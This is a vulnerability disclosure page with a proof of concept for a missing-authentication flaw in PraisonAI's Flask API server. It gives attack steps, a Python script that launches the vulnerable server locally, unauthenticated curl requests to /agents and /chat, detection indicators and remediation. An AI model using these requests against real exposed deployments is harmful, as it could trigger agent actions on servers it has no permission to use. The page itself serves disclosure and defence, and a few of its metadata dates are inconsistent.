PoC Archive PoC Archive
High CVE-2026-44338 / [GHSA-6rmh-7xcm-cpxj](https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj) unpatched

PraisonAI API Server Missing Authentication (CVE-2026-44338)

by HORKimhab · 2026-07-05

Severity
High
CVE
CVE-2026-44338 / [GHSA-6rmh-7xcm-cpxj](https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj)
Category
web
Affected product
[PraisonAI](https://github.com/MervinPraison/PraisonAI) api_server.py (Flask-based agent API server)
Affected versions
See advisory (GHSA-6rmh-7xcm-cpxj)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-44338 / GHSA-6rmh-7xcm-cpxj
Categoryweb
SeverityHigh
CVSS ScoreN/A (see advisory)
StatusPoC
Tagspraisonai, ai-agents, flask, no-auth, unauthenticated-access, api-server, python
RelatedN/A

Affected Target

FieldValue
Software / SystemPraisonAI api_server.py (Flask-based agent API server)
Versions AffectedSee advisory (GHSA-6rmh-7xcm-cpxj)
Language / PlatformPython / Flask web application
Authentication RequiredNo — this is the vulnerability (AUTH_ENABLED = False by default)
Network Access RequiredYes — HTTP access to the exposed API server (default port 8080)

Summary

PraisonAI’s api_server.py exposes HTTP endpoints (e.g. /agents, /chat) that trigger execution of configured AI agent workflows, but ships with authentication disabled by default and no token/Authorization-header requirement. Any network-reachable client can invoke agent workflows without credentials. The included PoC loads and runs the actual vulnerable api_server.py from the PraisonAI source tree (with the praisonai package itself stubbed out) so the no-auth behavior can be demonstrated end-to-end against real Flask + Flask-CORS request handling, rather than a synthetic mock.


Vulnerability Details

Root Cause

api_server.py runs with AUTH_ENABLED = False, meaning its Flask routes (agent listing, chat/workflow invocation) do not check for any token or Authorization header before executing the requested agent workflow. Any request that reaches the server is treated as authorized.

Attack Vector

  1. Attacker identifies a network-reachable PraisonAI api_server.py deployment (default port 8080).
  2. Attacker sends a plain, unauthenticated GET /agents or POST /chat request.
  3. The server executes the requested agent/workflow and returns results with no authentication check at any point.

Impact

Unauthenticated attackers can invoke AI agent workflows, potentially triggering arbitrary configured agent actions (data access, external API calls, code/tool execution depending on the agent configuration) on a server that was intended to require authentication. Impact scales with whatever tools/permissions the configured PraisonAI agents have.


Environment / Lab Setup

The PoC stubs out the `praisonai` package (so PraisonAI itself doesn't need to be
installed) and then loads and executes the REAL vulnerable src/praisonai/api_server.py
from a checked-out PraisonAI repository, demonstrating the no-auth behavior against
genuine Flask/Flask-CORS request handling.

Run from within a PraisonAI repository checkout (so src/praisonai/api_server.py exists):

  pip install flask flask-cors
  python poc_auth_bypass.py

Proof of Concept

PoC Script

See poc_auth_bypass.py and agents.yaml in this folder.

1
2
3
4
5
6
7
8
pip install flask flask-cors
python poc_auth_bypass.py

curl -X GET http://localhost:8080/agents

curl -X POST http://localhost:8080/chat \
  -H "Content-Type: application/json" \
  -d '{"message": "Run the agents for testing"}'

Running poc_auth_bypass.py starts the real, vulnerable api_server.py on 0.0.0.0:8080 with authentication disabled; the two curl commands above then succeed with no credentials, demonstrating unauthenticated access to agent execution endpoints.


Detection & Indicators of Compromise

- Requests to /agents or /chat (and similar API routes) with no Authorization header
  or API token present.
- Elevated/unexpected traffic to a PraisonAI api_server.py instance from unfamiliar
  source IPs.

Signs of compromise:

  • Agent workflow executions in server logs with no corresponding authenticated session.
  • Unexpected outbound calls, tool invocations, or resource usage triggered by agent runs not initiated by known users.
  • api_server.py process reachable from the public internet or untrusted networks.

Remediation

ActionDetail
Primary fixApply the upstream fix per GHSA-6rmh-7xcm-cpxj; set AUTH_ENABLED = True and require a valid token/Authorization header on all agent-invocation endpoints.
Interim mitigationDo not expose api_server.py directly to untrusted networks; place it behind a reverse proxy/API gateway that enforces authentication, or restrict access via firewall/VPN until patched.

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-44338 on 2026-07-05.

poc_auth_bypass.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
"""
PraisonAI Authentication Bypass PoC (GHSA-6rmh-7xcm-cpxj)
Uses real Flask + Flask-CORS from the vulnerable api_server.py
For educational / local testing only.

--- How to use 
pip install flask flask-cors
python poc_auth_bypass_server.py

# Test without any authentication
curl -X GET http://localhost:8080/agents

curl -X POST http://localhost:8080/chat \
  -H "Content-Type: application/json" \
  -d '{"message": "Run the agents for testing"}'

"""

import importlib.util
import pathlib
import sys
import types

# ====================== STUB PraisonAI ======================
class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
        print(f"[+] Dummy PraisonAI loaded with file: {agent_file}")

    def run(self):
        result = {
            "status": "success",
            "response": "Workflow executed successfully (PoC Mode)",
            "agent_file": self.agent_file,
            "output": "This is a simulated agent response for local testing."
        }
        print(f"[+] Workflow '{self.agent_file}' executed")
        return result


# Inject dummy PraisonAI
stub = types.ModuleType("praisonai")
stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub


# ====================== CREATE agents.yaml IF MISSING ======================
def ensure_agents_yaml():
    repo_root = pathlib.Path(__file__).parent.resolve()
    agents_path = repo_root / "agents.yaml"
    
    if not agents_path.exists():
        print("📄 Creating minimal agents.yaml...")
        content = """framework: crewai
topic: Local Security Testing

roles:
  - role: Researcher
    goal: Research the given topic
    backstory: You are an expert researcher.
    
  - role: Summarizer
    goal: Summarize the findings clearly
    backstory: You are a professional summarizer.
"""
        agents_path.write_text(content)
        print(f"✅ Created {agents_path.name}")
    else:
        print(f"✅ Found {agents_path.name}")


# ====================== LOAD & RUN VULNERABLE SERVER ======================
def run_vulnerable_server():
    repo_root = pathlib.Path(__file__).parent.resolve()
    api_path = repo_root / "src" / "praisonai" / "api_server.py"

    if not api_path.exists():
        print(f"❌ api_server.py not found at: {api_path}")
        print("Please run this script from the PraisonAI repository root.")
        sys.exit(1)

    spec = importlib.util.spec_from_file_location("api_server", api_path)
    api_server = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(api_server)

    print("\n" + "="*70)
    print("🚀 Starting Vulnerable PraisonAI API Server")
    print("="*70)
    print("✅ Flask + Flask-CORS loaded")
    print("⚠️  Authentication is DISABLED (AUTH_ENABLED = False)")
    print("📍 Server running on: http://0.0.0.0:8080")
    print("🔓 No token or Authorization header required!")
    print("="*70 + "\n")

    # Run the actual Flask server
    api_server.app.run(host="0.0.0.0", port=8080, debug=False)


# ====================== MAIN ======================
if __name__ == "__main__":
    ensure_agents_yaml()
    run_vulnerable_server()